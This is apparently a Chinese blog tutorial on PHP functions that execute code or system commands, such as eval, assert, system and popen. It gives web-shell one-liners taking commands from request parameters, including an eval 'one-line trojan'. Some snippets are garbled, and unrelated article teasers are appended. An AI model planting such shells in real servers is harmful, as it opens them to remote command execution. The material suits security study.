当前位置: 首页 > news >正文

PHP危险函数

PHP危险函数

文章目录

  • PHP危险函数
      • PHP 代码执行函数
        • eval 语句
        • assert()语句
        • preg_replace()函数
          • 正则表达式里
          • 修饰符
      • 回调函数
        • call_user_func()函数
        • array_map()函数
      • OS命令执行函数
        • system()函数
        • exec()函数
        • shell_exec()函数
        • passthru() 函数
        • popen 函数
        • 反引号``
    • 实列

通过构造函数可以执行系统命令达到非法控制计算机被视为危险函数

PHP 代码执行函数

字符串当中PHP代码来执行

eval 语句

eval() 会将符合PHP 语法规范字符串当作php 代码执行

这个语句只能执行php代码不能执行系统命令但能调用system()函数来实现系统命令

$code = $_REQUEST['code'];
eval($code);

通过简写就是一句话木马的原型

@eval($ REQUEST['code']);

也可以嵌入eval(eval());的形式来执行

assert()语句
  • assert() 只能执行单条PHP 语句
  • 在低版本中assert() 是一个函数,可以动态调用。
  • 高版本PHP 中,7.2.0被弃用在8.0.0的assert语句已经被淘汰了
$code=$_REQUEST['code'];
assert($code);

因为每次只能执行一条语句如果想实现一句话木马可以以编码的形式进行
在这里插入图片描述

preg_replace()函数

preg_replace 执行一个正则表达式的搜索和替换

正则表达式:一类字符特征

preg_replace(“/正则表达式/修饰符”,“要替换的字符”,“目标字符串”)

在第二个参数里"\\1"是第一个匹配到的字符

正则表达式里

.*是表示匹配所有

修饰符

i匹配大小写

e将匹配到符合php代码的字符执行

回调函数

一个函数调用另外一个函数。PHP 语言中回调函数有很多。

call_user_func()函数

特点

  • 只能调用函数
  • 不能用结构语句

用assert执行phpinfo函数

$func = 'assert';
$arg = "phpinfo();";
call_user_func($func, $arg);
array_map()函数

参数必须为数组

$func = 'assert';
$arg[] = "phpinfo();";
array_map($func, $arg);

OS命令执行函数

OS命令执行函数:把字符串当作系统命令执行

system()函数

是一个典型的系统命令执行函数

特点

  • 自带输出功能
  • 自动区分系统平台
<?php$cmd=$_REQUEST['cmd'];system($cmd);?>
exec()函数

将字符串当作代码执行

特点:

  • 能执行系统命令
  • 不自带输出
  • 只输出命令执行结果的最后一行
<?php$cmd = "ipconfig";var_dump(exec($cmd));?>
shell_exec()函数

特点:

  • 通过 shell 执行命令并将完整的输出以字符串的方式返回
  • 不自带输出
<?php$cmd =$_REQUEST["cmd"];echo shell_exec($cmd);?>
passthru() 函数

执行外部程序并且显示原始输出
特点

  • 能执行系统命令
  • 自带输出功能
<?php   $cmd =$_REQUEST["cmd"];    		passthru($cmd); 
?>
popen 函数

特点

  • 把命令结果当作成一个文件
  • 不自带输出功能
  • 函数返回值为文件指针,可以简单理解为文件名

想要输出结果要使用fread函数有两个参数一个是要读的文件另一个是字节数
在这里插入图片描述
模式。‘r’ 表示阅读,‘w’ 表示写入。

<?php$cmd=$_REQUEST["cmd"];$result=popen($cmd,"r");echo fread($resukt,1024);
反引号``

反引号` 内的字符串,会被解析成OS 命令。


$cmd = "whoami";
$cmd = "ipconfig";
$cmd = "net user";
echo "<pre>".`$cmd`;
n($cmd,"r");echo fread($resukt,1024);

实列

  1. system
    以字符串的形式执行系统命令并自带回显
<?phpsystem($_GET['cmd']);
?>

在这里插入图片描述
2. exec
用字符串的形式执行系统命令不自带回显,用echo只能输出末一行用来确认代码是否执行成功

<?php echo exec($_REQUEST['cmd']);
?>

在这里插入图片描述
3. shell_exec
通过 shell 执行命令后并将完整的输出以字符串的方式返回
函数本身不自带回显功能

<?php echo shell_exec($_REQUEST['cmd']);
?>

在这里插入图片描述
4. passthru
执行外部程序并且显示原始输出

<?php passthru ($_REQUEST['cmd']);
?>

在这里插入图片描述
5. popen
打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。

<?php
echo fread(popen($_REQUEST['cmd'],'r'),1024);
?>

在这里插入图片描述

  1. ``反引号
    反引号` 内的字符串,会被解析成OS 命令
<?php$a=$_REQUEST['cmd'];echo `$a`;
?>

在这里插入图片描述
7. eval
eval() 会将符合PHP 语法规范字符串当作php 代码执行

<?php
echo @eval ($_REQUEST['cmd']);
?>

在这里插入图片描述

  1. assert
<?phpassert($_REQUEST['cmd']);?>

在这里插入图片描述

  1. preg_replace
<?phpecho  preg_replace('~\[(.*)\]~e','\\1','[phpinfo()]');  
?>

在这里插入图片描述

  1. call_user_func
<?phpcall_user_func('assert','phpinfo()');
?>

在这里插入图片描述

  1. array_map
    只能执行数组
<?php$a[]=phpinfo();array_map(assert(),$a);
?>

在这里插入图片描述

  1. 动态函数
$func="system";
$func2="ipconfig";
$func($func2);

在这里插入图片描述

相关文章:

PHP危险函数

PHP危险函数 文章目录 PHP危险函数PHP 代码执行函数eval 语句assert()语句preg_replace()函数正则表达式里修饰符 回调函数call_user_func()函数array_map()函数 OS命令执行函数system()函数exec()函数shell_exec()函数passthru() 函数popen 函数反引号 实列 通过构造函数可以执…...

【ARM Cortex-M 系列 4 番外篇 -- 常用 benchmark 介绍】

文章目录 1.1 CPU 性能测试 MIPS 计算1.1.1 Cortex-M7 CPI 1.2 benchmark 小节1.3.1 Geekbenck 介绍 1.3 编译参数配置 1.1 CPU 性能测试 MIPS 计算 每秒百万指令数 (MIPS)&#xff1a;在数据压缩测试中&#xff0c;MIPS 每秒测量一次 CPU 执行的低级指令的数量。越高越好&…...

web安全-原发抗抵赖

原发抗抵赖 原发抗抵赖也称不可否认性&#xff0c;主要表现以下两种形式&#xff1a; 数据发送者无法否认其发送数据的事实。例如&#xff0c;A向B发信&#xff0c;事后&#xff0c;A不能否认该信是其发送的。数据接收者事后无法否认其收到过这些数据。例如&#xff0c;A向B发…...

强化学习------PPO算法

目录 简介一、PPO原理1、由On-policy 转化为Off-policy2、Importance Sampling&#xff08;重要性采样&#xff09;3、off-policy下的梯度公式推导 二、PPO算法两种形式1、PPO-Penalty2、PPO-Clip 三、PPO算法实战四、参考 简介 PPO 算法之所以被提出&#xff0c;根本原因在于…...

node(三)express框架

文章目录 1.express介绍2.express初体验3.express路由3.1什么是路由&#xff1f;3.2路由的使用 1.express介绍 是一个基于Node平台的极简、灵活的WEB应用开发框架&#xff0c;官网地址&#xff1a;https://www.expressjs.com.cn/ 简单来说&#xff0c;express是一个封装好的工…...

linux find命令搜索日志内容

linux find命令搜索日志内容 查询服务器log日志 find /opt/logs/ -name "filename.log" | xargs grep -a "这里是要查询的字符"加上-a 是为了不报查出 binary 的错 服务器会返回 包含所查字符的整行日志信息...

CentOS 编译安装TinyXml2

安装 TinyXml2 Git 源码下载地址:https://github.com/leethomason/tinyxml2 步骤1&#xff1a;首先&#xff0c;你需要下载tinyxml2的源代码。你可以从Github或者源代码官方网站下载。并上传至/usr/local/source_code/ 步骤2&#xff1a;下载完成后&#xff0c;需要将源代码解…...

竞赛选题 深度学习人体跌倒检测 -yolo 机器视觉 opencv python

0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; **基于深度学习的人体跌倒检测算法研究与实现 ** 该项目较为新颖&#xff0c;适合作为竞赛课题方向&#xff0c;学长非常推荐&#xff01; &#x1f947;学长这里给一个题目综合评分(每项满…...

使用gson将复杂的树型结构转Json遇到的问题,写入文件为空

某个项目需要用到一个较为复杂的数据结构。定义成一个树型链表。 public class TreeNode { private String name; public String getName() { return name; } public void setName(String name) { this.name name; } public String getPartType() { retur…...

JavaScript异步编程:提升性能与用户体验

目录 什么是异步编程&#xff1f; 回调函数 Promise Async/Await 总结 在Web开发中&#xff0c;处理耗时操作是一项重要的任务。如果我们在执行这些操作时阻塞了主线程&#xff0c;会导致页面失去响应&#xff0c;用户体验下降。JavaScript异步编程则可以解决这个问题&…...

lossBN

still tips for learning classification and regression关于softmax的引入和作用分类问题损失函数 - MSE & Cross-entropy⭐Batch Normalization&#xff08;BN&#xff09;⭐想法&#xff1a;直接改error surface的landscape&#xff0c;把山铲平feature normalization那…...

【微信小程序】数字化会议OA系统之投票模块(附源码)

&#x1f389;&#x1f389;欢迎来到我的CSDN主页&#xff01;&#x1f389;&#x1f389; &#x1f3c5;我是Java方文山&#xff0c;一个在CSDN分享笔记的博主。&#x1f4da;&#x1f4da; &#x1f31f;推荐给大家我的专栏《微信小程序开发实战》。&#x1f3af;&#x1f3a…...

clang-前端插件-给各种无花括号的“块”加花括号-基于llvm15--clang-plugin-add-brace

处理的语句 case 术语约定或备忘 case起止范围: 从冒号到下一个’case’开头, 简称有: case内 、case内容Ast: Abstract syntax tree: 抽象语法树没插入花括号的case 若case内, 以下任一条成立,则 跳过该case 即 不会对该case内容用花括号包裹. 有#define、有#include、有…...

python爬虫-某政府网站加速乐(简单版)实例小记

# -*- coding:utf-8 -*- # Time : 2023/10/23 17:06 # Author: 水兵没月 # File : 哈哈哈哈.py # Software: PyCharm ####################import random import requests# 代理 def get_proxy(proxy_typerandom.choice([1,2,3,4,5])):url "http://ZZZZZZZZZZZZZZZZZZ&qu…...

stable diffusion简介和原理

Stable Diffusion中文的意思是稳定扩散&#xff0c;本质上是基于AI的图像扩散生成模型。 Stable Diffusion是一个引人注目的深度学习模型&#xff0c;它使用潜在扩散过程来生成图像&#xff0c;允许模型在生成图像时考虑到文本的描述。这个模型的出现引起了广泛的关注和讨论&am…...

【机器学习】模型平移不变性/等变性归纳偏置Attention机制

Alphafold2具有旋转不变性吗——从图像识别到蛋白结构预测的旋转对称性实现 通过Alphafold2如何预测蛋白质结构&#xff0c;看有哪些机制或tricks可以利用&#xff1f; 一、等变Transformer 等变Transformer是Transformer众多变体的其中一种&#xff0c;其强调等变性。不变性…...

c++的4中类型转换操作符(static_cast,reinterpret_cast,dynamic_cast,const_cast),RTTI

目录 引入 介绍 static_cast 介绍 使用 reinterpret_cast 介绍 使用 const_cast 介绍 使用 dynamic_cast 介绍 使用 RTTI(运行时确定类型) 介绍 typeid运算符 dynamic_cast运算符 type_info类 引入 原本在c中,我们就已经接触到了很多类型转换 -- 隐式类型转…...

CNN实现与训练--------------以cifar10数据集为例进行演示(基于Tensorflow)

本文以cifar10数据集为例进行演示 (cifar10数据集有5万张3232像素点的彩色图片,用于训练有1万张3232像素点的彩色图片,用于测试) import tensorflow as tf import os import numpy as np from matplotlib import pyplot as plt from tensorflow.keras.layers import Conv2…...

YOLOv5算法改进(21)— 添加CA注意力机制 + 更换Neck网络之BiFPN + 更换损失函数之EIoU

前言:Hello大家好,我是小哥谈。通过上节课的学习,相信同学们一定了解了组合改进的核心。本节课开始,就让我们结合论文来对YOLOv5进行组合改进(添加CA注意力机制+更换Neck网络之BiFPN+更换损失函数之EIoU),希望同学们学完本节课可以有所启迪,并且后期可以自行进行YOLOv5…...

面对6G时代 适合通信专业的 毕业设计题目

对于通信专业的本科生来说&#xff0c;选择一个与学习内容紧密相关的毕业设计题目十分重要。 以下是东枫科技建议的题目&#xff0c;它们涵盖了通信技术的不同方面&#xff1a; 高校老师可以申请东枫科技工程师共同对学生指导&#xff0c;完成毕业设计。 基于5G/6G的通信技术…...

亲身体验AI智能体在实际项目中展现的核心能力

AI 智能体能力实战学习笔记 通过与 AI 智能体的协作&#xff0c;我亲身体验了 AI 在软件开发全流程中的强大能力。本文记录了智能体在实际项目中展现的核心功能&#xff0c;以及如何使用这些能力提高工作效率。 &#x1f3af; 核心能力概览 能力地图 AI 智能体能力 ├── &a…...

如何解决Reloaded-II模组加载器安装过程中的依赖循环问题

如何解决Reloaded-II模组加载器安装过程中的依赖循环问题 【免费下载链接】Reloaded-II Universal .NET Core Powered Modding Framework for any Native Game X86, X64. 项目地址: https://gitcode.com/gh_mirrors/re/Reloaded-II Reloaded-II作为一款强大的.NET Core模…...

30天试用期重置神器:JetBrains IDE免费使用终极解决方案

30天试用期重置神器&#xff1a;JetBrains IDE免费使用终极解决方案 【免费下载链接】ide-eval-resetter 项目地址: https://gitcode.com/gh_mirrors/id/ide-eval-resetter 还在为JetBrains IDE试用期到期而烦恼吗&#xff1f;每次30天试用结束后&#xff0c;那些强大的…...

WinDirStat:3步快速上手Windows磁盘空间高效管理

WinDirStat&#xff1a;3步快速上手Windows磁盘空间高效管理 【免费下载链接】windirstat WinDirStat is a disk usage statistics viewer and cleanup tool for Microsoft Windows 项目地址: https://gitcode.com/gh_mirrors/wi/windirstat 你是否经常遇到Windows电脑磁…...

ORTC与AI融合:从实时传输到智能通信的架构演进与实践

1. 项目概述&#xff1a;当实时通信遇上人工智能最近几年&#xff0c;我身边不少做音视频通信和做AI算法的朋友&#xff0c;聊天时总绕不开一个话题&#xff1a;ORTC&#xff08;Object Real-Time Communication&#xff09;和AI&#xff0c;这两者到底能擦出什么样的火花&…...

如何5分钟实现Windows系统自动化软件部署:winget-install完整指南

如何5分钟实现Windows系统自动化软件部署&#xff1a;winget-install完整指南 【免费下载链接】winget-install Install WinGet using PowerShell! Prerequisites automatically installed. Works on Windows 10/11 and Server 2019/2022. 项目地址: https://gitcode.com/gh_…...

DIY蓝牙街机摇杆:从零打造无线复古游戏控制器

1. 项目概述与核心思路作为一个玩了二十多年街机&#xff0c;也折腾了十几年硬件的“老炮儿”&#xff0c;我始终觉得&#xff0c;有些东西的味道是数字模拟不出来的。比如&#xff0c;用键盘或现代手柄玩《拳皇97》或《合金弹头》&#xff0c;总觉得少了点灵魂——那“咔哒咔哒…...

基于MCP协议构建Azure DevOps智能助手:连接AI与开发运维的实践指南

1. 项目概述&#xff1a;一个连接开发与运维的智能“翻译官”如果你和我一样&#xff0c;长期在Azure DevOps的流水线、看板和代码仓库里打转&#xff0c;同时又对新兴的AI编程助手&#xff08;比如Claude、Cursor&#xff09;爱不释手&#xff0c;那你肯定遇到过这样的困境&am…...

基于代理建模与系统仿真的唐代政治制度数字重构

1. 项目概述与核心价值最近在开源社区里&#xff0c;我注意到一个名为“Tang-Political-System”的项目&#xff0c;它的名字直译过来是“唐代政治制度”。作为一个对历史、制度设计以及开源协作模式都抱有浓厚兴趣的开发者&#xff0c;这个项目立刻引起了我的注意。它并非一个…...

为Adafruit CLUE开发板设计超薄可拆卸3D打印外壳:从建模到装配全指南

1. 项目概述&#xff1a;为你的CLUE开发板“量体裁衣”如果你手头有一块Adafruit CLUE开发板&#xff0c;大概率会和我有同样的感受&#xff1a;这块板子功能强大&#xff0c;集成了屏幕、按钮、一堆传感器&#xff0c;但裸露的电路板和元器件总让人有点“心疼”&#xff0c;怕…...